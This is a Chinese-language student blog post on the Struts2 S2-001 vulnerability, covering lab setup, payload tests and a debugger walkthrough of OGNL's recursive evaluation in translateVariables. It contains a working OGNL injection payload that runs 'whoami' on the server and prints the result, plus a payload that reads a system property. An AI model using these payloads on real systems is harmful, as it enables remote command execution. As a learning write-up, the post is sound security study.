Hu3sky's blog

java安全漏洞入门之 s2-001

Word count: 2,331 / Reading time: 11 min
2019/08/24 Share

前言

java安全还没接触过,都大三了,需要摸一摸java安全了,看大部分都是从S2001开始入门调试的,所以自己也来学一学这个漏洞,是跟着师傅们的文章进行一步一步调试的,因为不太会java调试
orz

漏洞详情

https://cwiki.apache.org/confluence/display/WW/S2-001

由于ognl表达式的递归执行,造成了ognl执行命令

环境搭建

  • MxSrvs_Tomcat_8.5.16
  • IntelliJ IDEA

image

目录结构
image

先从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
中下载struts2的jar包

然后将在WEB-INF目录中新建lib目录,将所需的五个包放入

1
2
3
4
5
commons-logging-1.0.4.jar
freemarker-2.3.8.jar
ognl-2.6.11.jar
struts2-core-2.0.8.jar
xwork-2.0.3.jar

image
image

src目录下新建struts.xml

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

修改web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

几个重要文件

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%--
Created by IntelliJ IDEA.
User: hu3sky
Date: 2019-08-18
Time: 22:54
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%--
Created by IntelliJ IDEA.
User: hu3sky
Date: 2019-08-18
Time: 22:55
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

然后在src中新建com.demo.actionpackage

LoginAction.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

导入包
image

image

然后就能run了
image

漏洞验证

当输入%{1+1}

image
submit后会得到
image

然后能够获取tomcat地址

1
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

image

执行whoami命令

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image

OGNL表达式

搬运

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
OGNL(Object-Graph Navigation Language)的全称是对象图导航语言,它是一种功能强大的开源表达式语言,比EL(只能从域或内置对象中)表达式更强大,使用这种表达式语言,可以通过某种表达式语法,OGNL可以存取Java任意对象的任意属性,调用Java对象的方法,同时能够自动实现必要的类型转换。如果把表达式看作是一个带有语义的字符串,那么OGNL无疑成为了这个语义字符串与Java对象之间沟通的桥梁。

Struts2的默认表达式语言就是OGNL


OGNL的操作实际上就是围绕着OGNL结构的三个要素而进行的,分别是表达式(Expresssion)、根对象(Root Object)、上下文环境(Context)


表达式:
表达式是整个OGNL的核心,OGNL会根据表达式去对象中取值。所有OGNL操作都是针对表达式解析后进行的。它表明了此次OGNL操作要"做什么"。表达式就是一个带有语法含义的字符串,这个字符串规定了操作的类型和操作的内容。OGNL支持大量的表达式语法,不仅支持这种"链式"对象访问路径,还支持在表达式中进行简单的计算


根对象(ROOT):
OGNL的Root对象可以理解为OGNL的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是Root对象,这就意味着,如果有一个OGNL表达式,那么我们需要针对Root对象来进行OGNL表达式的计算并且返回结果

上下文环境:
实际上OGNL的取值还需要一个上下文环境。设置了Root对象,OGNL可以对Root对象进行取值或写值等操作,Root对象所在环境就是OGNL的上下文环境(Context)。上下文环境规定了OGNL的操作"在哪里进行"。上下文环境Context是一个Map类型的对象,在表达式中访问Context中对象,需要使用"#"号加上对象名称,即"#对象名称"的形式

基本语法

对Root对象的访问

OGNL使用的是一种链式的风格进行对象的访问

1
2
User user = new User("rcx", "123");
System.out.println(Ognl.getValue("name", user));

对上下文对象的访问

使用OGNL的时候如果不设置上下文对象,系统会自动创建一个上下文对象,如果传入的参数当中包含了上下文对象则会使用传入的上下文对象。当访问上下文环境当中的参数时候,需要在表达式前面加上’#’,表示了与访问Root对象的区别

1
2
3
4
User user = new User("rcx", "123");
Map<String, Object> context = new HashMap<String, Object>();
context.put("user", user);
System.out.println(Ognl.getValue("#init", context, user));

对静态变量的访问

格式 @[class]@[field/method()]

1
2
3
4
5
public class Constant{
public final static String ONE = "one";
...
}
Object object = Ognl.getValue("@com.rcx.ognl.Constant@ONE", null);

对方法的调用

如果需要调用Root对象或者上下文对象当中的方法也可以使用.+方法的方式来调用。甚至可以传入参数

1
2
3
4
5
6
7
8
User user = new User();
Map<String, Object> context = new HashMap<String, Object>();
context.put("name", "rcx");
context.put("password", "password");

System.out.println(Ognl.getValue("getName()", context, user));
Ognl.getValue("setName(#name)", context, user);
System.out.println(Ognl.getValue("getName()", context, user));

对数组和集合的访问

1
2
3
4
User user = new User();
Map<String, Object> context = new HashMap<String, Object>();
String[] strings = {"aa", "bb"};
System.out.println(Ognl.getValue("#strings[0]", context, user));

代码分析

image

在经过tomcat的处理后,http请求会到达struts

/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:88接受我们输入的参数值,于是在此处进行下断点
image

image
到下面97行
image

继续跟,跟到/com/opensymphony/xwork2/DefaultActionInvocation.class:203
image

跟进函数,到dispatcher.forward
image

继续跟,开始解析标签

image
image
然后解析到最后标签
image

步入evaluateParams
image

跟下来
image

这个方法返回true

为了动态的改变标签属性的值,它允许执行标签属性中的OGNL表达式
此时expr为%{username}

然后跟进findvalue()
继续到translateVariables

image
这里也就到了漏洞的关键点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;

while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;

while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}

int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}

String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}

if (TextUtils.stringSet(right)) {
result = result + right;
}

expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}

while循环会取%{}里的值
寻找{开头和}结尾
现在是%{username}然后循环取出来后 就是 %{1+1}
在findValue()里进行执行
image

总结

第一次调试java,跟着师傅们的一步一步调,不太清楚什么时候单步什么时候跟进,导致花了很多时间才找到关键函数,配置环境也花了点时间,中间出了些问题,总之还是学到了,给java开了个头

Referer

CATALOG
  1. 1. 前言
  2. 2. 漏洞详情
  3. 3. 环境搭建
  4. 4. 漏洞验证
  5. 5. OGNL表达式
    1. 5.1. 基本语法
      1. 5.1.1. 对Root对象的访问
      2. 5.1.2. 对上下文对象的访问
      3. 5.1.3. 对静态变量的访问
      4. 5.1.4. 对方法的调用
      5. 5.1.5. 对数组和集合的访问
  6. 6. 代码分析
  7. 7. 总结
  8. 8. Referer